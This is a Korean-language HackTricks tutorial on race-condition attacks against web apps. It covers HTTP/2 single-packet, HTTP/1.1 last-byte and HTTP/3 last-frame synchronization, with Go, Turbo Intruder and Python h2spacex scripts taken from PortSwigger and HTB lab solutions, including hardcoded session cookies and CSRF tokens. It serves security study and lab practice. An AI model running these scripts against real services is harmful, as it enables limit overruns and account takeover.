Race Condition

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Warning

์ด ๊ธฐ์ˆ ์„ ๊นŠ์ด ์ดํ•ดํ•˜๋ ค๋ฉด ์›๋ณธ ๋ณด๊ณ ์„œ https://portswigger.net/research/smashing-the-state-machine ๋ฅผ ํ™•์ธํ•˜์„ธ์š”

Race Condition ๊ณต๊ฒฉ ๊ฐ•ํ™”

๊ฒฝ์Ÿ ์กฐ๊ฑด์„ ์ด์šฉํ•  ๋•Œ ๊ฐ€์žฅ ํฐ ์žฅ์• ๋ฌผ์€ ์—ฌ๋Ÿฌ ์š”์ฒญ์ด ๋™์‹œ์— ์ฒ˜๋ฆฌ๋˜๋„๋ก ๋ณด์žฅํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ฒ˜๋ฆฌ ์‹œ๊ฐ„ ์ฐจ์ด๊ฐ€ ๋งค์šฐ ์ž‘์•„์•ผ ํ•˜๋ฉฐโ€”์ด์ƒ์ ์œผ๋กœ๋Š” 1ms ๋ฏธ๋งŒโ€”๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด race๊ฐ€ ์žฌํ˜„๋˜๊ธฐ ์–ด๋ ต์Šต๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์—๋Š” ์š”์ฒญ ๋™๊ธฐํ™”๋ฅผ ์œ„ํ•œ ๋ช‡ ๊ฐ€์ง€ ๊ธฐ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: ๋‹จ์ผ TCP ์—ฐ๊ฒฐ๋กœ ๋‘ ์š”์ฒญ์„ ์ „์†กํ•  ์ˆ˜ ์žˆ์–ด ๋„คํŠธ์›Œํฌ ์ง€ํ„ฐ์˜ ์˜ํ–ฅ์„ ์ค„์ž…๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์„œ๋ฒ„ ์ธก ๋ณ€๋™์œผ๋กœ ์ธํ•ด ๋‘ ์š”์ฒญ๋งŒ์œผ๋กœ๋Š” ์ผ๊ด€๋œ race condition exploit์„ ๋งŒ๋“ค๊ธฐ์— ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • HTTP/1.1 โ€˜Last-Byte Syncโ€™: 20โ€“30๊ฐœ์˜ ์š”์ฒญ์˜ ๋Œ€๋ถ€๋ถ„์„ ๋ฏธ๋ฆฌ ์ „์†กํ•˜๊ณ  ์ž‘์€ ์กฐ๊ฐ์„ ๋ณด๋ฅ˜ํ–ˆ๋‹ค๊ฐ€ ํ•จ๊ป˜ ์ „์†กํ•˜์—ฌ ์„œ๋ฒ„์— ๋™์‹œ์— ๋„์ฐฉํ•˜๋„๋ก ํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค.

Preparation for Last-Byte Sync์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค:

  1. ์ŠคํŠธ๋ฆผ์„ ์ข…๋ฃŒํ•˜์ง€ ์•Š๊ณ  ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ๋ฅผ ์ œ์™ธํ•œ ํ—ค๋”์™€ ๋ฐ”๋”” ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.
  2. ์ดˆ๊ธฐ ์ „์†ก ํ›„ 100ms ๋™์•ˆ ๋Œ€๊ธฐํ•ฉ๋‹ˆ๋‹ค.
  3. ๋งˆ์ง€๋ง‰ ํ”„๋ ˆ์ž„ ๋ฐฐ์น˜๋ฅผ ์œ„ํ•ด Nagleโ€™s algorithm์„ ํ™œ์šฉํ•˜๋„๋ก TCP_NODELAY๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
  4. ์—ฐ๊ฒฐ์„ ์›Œ๋ฐ์—…ํ•˜๊ธฐ ์œ„ํ•ด ping์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค.

๋ณด๋ฅ˜ํ•ด๋‘” ํ”„๋ ˆ์ž„์„ ์ดํ›„์— ์ „์†กํ•˜๋ฉด ๋‹จ์ผ ํŒจํ‚ท์œผ๋กœ ๋„์ฐฉํ•ด์•ผ ํ•˜๋ฉฐ, ์ด๋Š” Wireshark๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์ผ๋ฐ˜์ ์œผ๋กœ RC ๊ณต๊ฒฉ์— ๊ด€๋ จ๋˜์ง€ ์•Š๋Š” static files์—๋Š” ์ ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

HTTP/3 Lastโ€‘Frame Synchronization (QUIC)

  • Concept: HTTP/3๋Š” QUIC(UDP) ์œ„์—์„œ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. TCP coalescing์ด๋‚˜ Nagle์— ์˜์กดํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ, ๊ธฐ์กด ํด๋ผ์ด์–ธํŠธ๋กœ๋Š” ๊ณ ์ „์ ์ธ lastโ€‘byte sync๊ฐ€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋Œ€์‹  ์—ฌ๋Ÿฌ QUIC streamโ€‘final DATA frames(FIN)๋ฅผ ๊ฐ™์€ UDP ๋ฐ์ดํ„ฐ๊ทธ๋žจ์œผ๋กœ ์˜๋„์ ์œผ๋กœ ํ•ฉ์ณ ์„œ๋ฒ„๊ฐ€ ๋™์ผํ•œ ์Šค์ผ€์ค„๋ง ํ‹ฑ์—์„œ ๋ชจ๋“  ํƒ€๊นƒ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๋„๋ก ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • How to do it: QUIC ํ”„๋ ˆ์ž„ ์ œ์–ด๋ฅผ ๋…ธ์ถœํ•˜๋Š” ๋ชฉ์  ์ „์šฉ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด, H3SpaceX๋Š” quic-go๋ฅผ ์กฐ์ž‘ํ•ด ์š”์ฒญ ๋ณธ๋ฌธ์ด ์žˆ๋Š” ๊ฒฝ์šฐ์™€ GETโ€‘style ์š”์ฒญ(๋ณธ๋ฌธ์ด ์—†๋Š” ๊ฒฝ์šฐ) ๋ชจ๋‘์— ๋Œ€ํ•ด HTTP/3 lastโ€‘frame synchronization์„ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค.
  • Requestsโ€‘withโ€‘body: N๊ฐœ์˜ ์ŠคํŠธ๋ฆผ์— ๋Œ€ํ•ด HEADERS + ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ๋ฅผ ์ œ์™ธํ•œ DATA๋ฅผ ์ „์†กํ•œ ๋’ค, ๊ฐ ์ŠคํŠธ๋ฆผ์˜ ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ๋ฅผ ํ•จ๊ป˜ ํ”Œ๋Ÿฌ์‹œํ•ฉ๋‹ˆ๋‹ค.
  • GETโ€‘style: ๊ฐ€์งœ DATA ํ”„๋ ˆ์ž„(๋˜๋Š” Contentโ€‘Length๊ฐ€ ์žˆ๋Š” ์•„์ฃผ ์ž‘์€ ๋ฐ”๋””)์„ ๋งŒ๋“ค์–ด ๋ชจ๋“  ์ŠคํŠธ๋ฆผ์„ ๋‹จ์ผ ๋ฐ์ดํ„ฐ๊ทธ๋žจ์—์„œ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.
  • Practical limits:
    • ๋™์‹œ์„ฑ์€ ์ƒ๋Œ€๋ฐฉ์˜ QUIC max_streams transport parameter์— ์˜ํ•ด ์ œํ•œ๋ฉ๋‹ˆ๋‹ค(HTTP/2์˜ SETTINGS_MAX_CONCURRENT_STREAMS์™€ ์œ ์‚ฌ). ๊ฐ’์ด ๋‚ฎ์œผ๋ฉด ์—ฌ๋Ÿฌ H3 ์—ฐ๊ฒฐ์„ ์—ด์–ด ๋ ˆ์ด์Šค๋ฅผ ๋ถ„์‚ฐ์‹œํ‚ค์„ธ์š”.
    • UDP ๋ฐ์ดํ„ฐ๊ทธ๋žจ ํฌ๊ธฐ์™€ path MTU๊ฐ€ ๋ช‡ ๊ฐœ์˜ streamโ€‘final ํ”„๋ ˆ์ž„์„ ํ•ฉ์น  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ํ•„์š”์‹œ ์—ฌ๋Ÿฌ ๋ฐ์ดํ„ฐ๊ทธ๋žจ์œผ๋กœ ๋ถ„ํ• ์„ ์ฒ˜๋ฆฌํ•˜์ง€๋งŒ, ๋‹จ์ผ ๋ฐ์ดํ„ฐ๊ทธ๋žจ ํ”Œ๋Ÿฌ์‹œ๊ฐ€ ๊ฐ€์žฅ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Practice: H3SpaceX์— ์ˆ˜๋ฐ˜๋˜๋Š” ๊ณต๊ฐœ H2/H3 ๋ ˆ์ด์Šค ์‹ค์Šต๊ณผ ์ƒ˜ํ”Œ ์ต์Šคํ”Œ๋กœ์ž‡์ด ์žˆ์Šต๋‹ˆ๋‹ค.
HTTP/3 lastโ€‘frame sync (Go + H3SpaceX) minimal example ```go package main import ( "crypto/tls" "context" "time" "github.com/nxenon/h3spacex" h3 "github.com/nxenon/h3spacex/http3" ) func main(){ tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}} quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond} conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf) var reqs []*http.Request for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) } // keep last byte (1), sleep 150ms, set Content-Length h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true) } ```

์„œ๋ฒ„ ์•„ํ‚คํ…์ฒ˜์— ์ ์‘ํ•˜๊ธฐ

๋Œ€์ƒ ์•„ํ‚คํ…์ฒ˜๋ฅผ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. Front-end servers๋Š” ์š”์ฒญ์„ ๋‹ค๋ฅด๊ฒŒ ๋ผ์šฐํŒ…ํ•˜์—ฌ ํƒ€์ด๋ฐ์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์†Œํ•œ ์š”์ฒญ์„ ํ†ตํ•œ ์„ ์ œ์  server-side connection warming์€ ์š”์ฒญ ํƒ€์ด๋ฐ์„ ์ •๊ทœํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์„ธ์…˜ ๊ธฐ๋ฐ˜ ์ž ๊ธˆ ์ฒ˜๋ฆฌ

PHP์˜ session handler์™€ ๊ฐ™์€ ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ์„ธ์…˜๋ณ„๋กœ ์š”์ฒญ์„ ์ง๋ ฌํ™”ํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ๊ฐ€๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ ์š”์ฒญ์— ๋Œ€ํ•ด ์„œ๋กœ ๋‹ค๋ฅธ session tokens๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ด ๋ฌธ์ œ๋ฅผ ํšŒํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Rate ๋˜๋Š” ๋ฆฌ์†Œ์Šค ์ œํ•œ ๊ทน๋ณต

connection warming์ด ํšจ๊ณผ๊ฐ€ ์—†๋‹ค๋ฉด, ๋”๋ฏธ ์š”์ฒญ์„ ๋Œ€๋Ÿ‰์œผ๋กœ ๋ณด๋‚ด web servers์˜ rate ๋˜๋Š” ๋ฆฌ์†Œ์Šค ์ œํ•œ ์ง€์—ฐ์„ ์˜๋„์ ์œผ๋กœ ์œ ๋ฐœํ•˜๋ฉด, race conditions์— ์œ ๋ฆฌํ•œ server-side delay๋ฅผ ๋งŒ๋“ค์–ด single-packet attack์„ ์ด‰์ง„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ์˜ˆ์‹œ

  • Turbo Intruder - HTTP2 single-packet attack (1 endpoint): ์š”์ฒญ์„ Turbo intruder๋กœ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (Extensions -> Turbo Intruder -> Send to Turbo Intruder), ์š”์ฒญ์—์„œ brute forceํ•˜๋ ค๋Š” ๊ฐ’์ธ **%s**๋ฅผ csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s์ฒ˜๋Ÿผ ๋ณ€๊ฒฝํ•œ ๋’ค ๋“œ๋กญ๋‹ค์šด์—์„œ **examples/race-single-packer-attack.py**๋ฅผ ์„ ํƒํ•˜์„ธ์š”:

๋งŒ์•ฝ ๋‹ค๋ฅธ ๊ฐ’์„ ์ „์†กํ•˜๋ ค๋Š” ๊ฒฝ์šฐ, ํด๋ฆฝ๋ณด๋“œ์˜ wordlist๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋‹ค์Œ ์ฝ”๋“œ๋กœ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

Warning

์›น์ด HTTP2๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š๊ณ  HTTP1.1๋งŒ ์ง€์›ํ•˜๋Š” ๊ฒฝ์šฐ Engine.BURP2 ๋Œ€์‹  Engine.THREADED ๋˜๋Š” Engine.BURP๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

  • Turbo Intruder - HTTP2 single-packet attack (Several endpoints): RCE๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด 1๊ฐœ์˜ endpoint๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ๊ทธ ๋‹ค์Œ ๋‹ค๋ฅธ ์—ฌ๋Ÿฌ endpoint๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ, race-single-packet-attack.py ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Burp Suite์˜ ์ƒˆ๋กœ์šด โ€˜Send group in parallelโ€™ ์˜ต์…˜์„ ํ†ตํ•ด Repeater์—์„œ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • limit-overrun์˜ ๊ฒฝ์šฐ ๊ทธ๋ฃน์— ๊ฐ™์€ ์š”์ฒญ์„ 50๋ฒˆ ์ถ”๊ฐ€ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.
  • connection warming์˜ ๊ฒฝ์šฐ, ๊ทธ๋ฃน์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์— ์›น ์„œ๋ฒ„์˜ ๋น„์ •์  ๋ถ€๋ถ„์œผ๋กœ ํ–ฅํ•˜๋Š” ์š”์ฒญ๋“ค์„ ๋ช‡ ๊ฐœ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • 2๊ฐœ์˜ substates ๋‹จ๊ณ„์—์„œ ํ•œ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•œ ๋‹ค์Œ ๋‹ค๋ฅธ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ๊นŒ์ง€์˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ง€์—ฐ์‹œํ‚ค๊ธฐ(delaying) ์œ„ํ•ด, ๋‘ ์š”์ฒญ ์‚ฌ์ด์— ์ถ”๊ฐ€ ์š”์ฒญ๋“ค์„ ๋„ฃ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • multi-endpoint RC์˜ ๊ฒฝ์šฐ, ์ˆจ๊ฒจ์ง„ ์ƒํƒœ๋กœ ๊ฐ€๋Š” ์š”์ฒญ์„ ๋จผ์ € ๋ณด๋‚ด๊ณ  ๊ทธ ์งํ›„์— ์ˆจ๊ฒจ์ง„ ์ƒํƒœ๋ฅผ ์•…์šฉํ•˜๋Š” ์š”์ฒญ 50๊ฐœ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Automated python script: ์ด ์Šคํฌ๋ฆฝํŠธ์˜ ๋ชฉ์ ์€ ์‚ฌ์šฉ์ž์˜ ์ด๋ฉ”์ผ์„ ๋ณ€๊ฒฝํ•˜๋ฉด์„œ ์ƒˆ๋กœ์šด ์ด๋ฉ”์ผ์˜ verification token์ด ๋งˆ์ง€๋ง‰ ์ด๋ฉ”์ผ๋กœ ๋„์ฐฉํ•  ๋•Œ๊นŒ์ง€ ์ง€์†์ ์œผ๋กœ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค (์ฝ”๋“œ์ƒ์—์„œ๋Š” ์ด๋ฉ”์ผ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์œผ๋‚˜ ์ด๋ฉ”์ผ์„ ๋‚˜ํƒ€๋‚ด๋Š” ๋ณ€์ˆ˜๊ฐ€ ์ด๋ฏธ ์ฒซ ๋ฒˆ์งธ ์ด๋ฉ”์ผ๋กœ ์ฑ„์›Œ์ ธ ์žˆ์–ด์„œ verification์ด ์ด์ „ ์ด๋ฉ”์ผ๋กœ ์ „์†ก๋˜๋Š” RC๊ฐ€ ๊ด€์ฐฐ๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค).
    ์ˆ˜์‹ ๋œ ์ด๋ฉ”์ผ์—์„œ โ€œobjetivoโ€œ๋ผ๋Š” ๋‹จ์–ด๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด ๋ณ€๊ฒฝ๋œ ์ด๋ฉ”์ผ์˜ verification token์„ ๋ฐ›์€ ๊ฒƒ์œผ๋กœ ํŒ๋‹จํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: ์—”์ง„ ๋ฐ ๊ฒŒ์ดํŒ… ๋…ธํŠธ

  • ์—”์ง„ ์„ ํƒ: singleโ€‘packet attack์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ ค๋ฉด HTTP/2 ๋Œ€์ƒ์—์„œ Engine.BURP2๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”; HTTP/1.1 ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ ๋™๊ธฐํ™”์—๋Š” Engine.THREADED ๋˜๋Š” Engine.BURP๋กœ ๋Œ€์ฒดํ•˜์„ธ์š”.
  • gate/openGate: gate='race1' (๋˜๋Š” ์‹œ๋„๋ณ„ gates)๋กœ ๋งŽ์€ ๋ณต์‚ฌ๋ณธ์„ ํ์— ๋„ฃ์œผ๋ฉด ๊ฐ ์š”์ฒญ์˜ ๊ผฌ๋ฆฌ๋ฅผ ๋ณด๋ฅ˜ํ•ฉ๋‹ˆ๋‹ค; openGate('race1')๋Š” ๋ชจ๋“  ๊ผฌ๋ฆฌ๋ฅผ ํ•จ๊ป˜ ํ”Œ๋Ÿฌ์‹œํ•˜์—ฌ ๊ฑฐ์˜ ๋™์‹œ์— ๋„์ฐฉํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ์ง„๋‹จ: Turbo Intruder์—์„œ ์Œ์ˆ˜ ํƒ€์ž„์Šคํƒฌํ”„๋Š” ์š”์ฒญ์ด ์™„์ „ํžˆ ์ „์†ก๋˜๊ธฐ ์ „์— ์„œ๋ฒ„๊ฐ€ ์‘๋‹ตํ–ˆ์Œ์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์ด๋Š” ๊ฒน์นจ(overlap)์„ ์ฆ๋ช…ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์‹ค์ œ race์—์„œ ์˜ˆ์ƒ๋˜๋Š” ํ˜„์ƒ์ž…๋‹ˆ๋‹ค.
  • ์—ฐ๊ฒฐ ์›Œ๋ฐ์—…: ํƒ€์ด๋ฐ์„ ์•ˆ์ •์‹œํ‚ค๊ธฐ ์œ„ํ•ด ๋จผ์ € ping์ด๋‚˜ ๋ฌดํ•ดํ•œ ์š”์ฒญ ๋ช‡ ๊ฐœ๋ฅผ ์ „์†กํ•˜์„ธ์š”; ๋งˆ์ง€๋ง‰ ํ”„๋ ˆ์ž„์˜ ๋ฐฐ์น˜๋ฅผ ์žฅ๋ คํ•˜๋ ค๋ฉด ์„ ํƒ์ ์œผ๋กœ TCP_NODELAY๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์„ธ์š”.

Single Packet Attack ๊ฐœ์„ 

์›๋ž˜ ์—ฐ๊ตฌ์—์„œ๋Š” ์ด ๊ณต๊ฒฉ์ด 1,500๋ฐ”์ดํŠธ์˜ ํ•œ๊ณ„๊ฐ€ ์žˆ๋‹ค๊ณ  ์„ค๋ช…ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ this post์—์„œ๋Š” IP ๊ณ„์ธต ๋‹จํŽธํ™”(IP layer fragmentation)๋ฅผ ์‚ฌ์šฉํ•ด(๋‹จ์ผ ํŒจํ‚ท์„ ์—ฌ๋Ÿฌ IP ํŒจํ‚ท์œผ๋กœ ๋ถ„ํ• ) ํŒจํ‚ท์„ ์„œ๋กœ ๋‹ค๋ฅธ ์ˆœ์„œ๋กœ ์ „์†กํ•จ์œผ๋กœ์จ ๋‹จํŽธ๋“ค์ด ๋ชจ๋‘ ์„œ๋ฒ„์— ๋„๋‹ฌํ•  ๋•Œ๊นŒ์ง€ ์žฌ์กฐ๋ฆฝ์„ ๋ง‰๋„๋ก ํ—ˆ์šฉํ•˜์—ฌ singleโ€‘packet ๊ณต๊ฒฉ์˜ 1,500๋ฐ”์ดํŠธ ์ œํ•œ์„ TCP์˜ 65,535 B ์ฐฝ ์ œํ•œ๊นŒ์ง€ ํ™•์žฅํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์œผ๋กœ ์—ฐ๊ตฌ์ž๋Š” ์•ฝ 166ms์— 10,000๊ฐœ์˜ ์š”์ฒญ์„ ์ „์†กํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ฐœ์„ ์ด ์ˆ˜๋ฐฑ/์ˆ˜์ฒœ ๊ฐœ์˜ ํŒจํ‚ท์ด ๋™์‹œ์— ๋„์ฐฉํ•ด์•ผ ํ•˜๋Š” RC์—์„œ ๊ณต๊ฒฉ์„ ๋” ์‹ ๋ขฐ์„ฑ ์žˆ๊ฒŒ ๋งŒ๋“ค์ง€๋งŒ, ๋ช‡๋ช‡ ์†Œํ”„ํŠธ์›จ์–ด์  ์ œํ•œ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Apache, Nginx ๋ฐ Go ๊ฐ™์€ ์ผ๋ถ€ ์ธ๊ธฐ HTTP ์„œ๋ฒ„๋Š” SETTINGS_MAX_CONCURRENT_STREAMS ์„ค์ •์ด ๊ฐ๊ฐ 100, 128, 250์œผ๋กœ ์—„๊ฒฉํ•ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด NodeJS์™€ nghttp2๋Š” ๋ฌด์ œํ•œ์ž…๋‹ˆ๋‹ค.
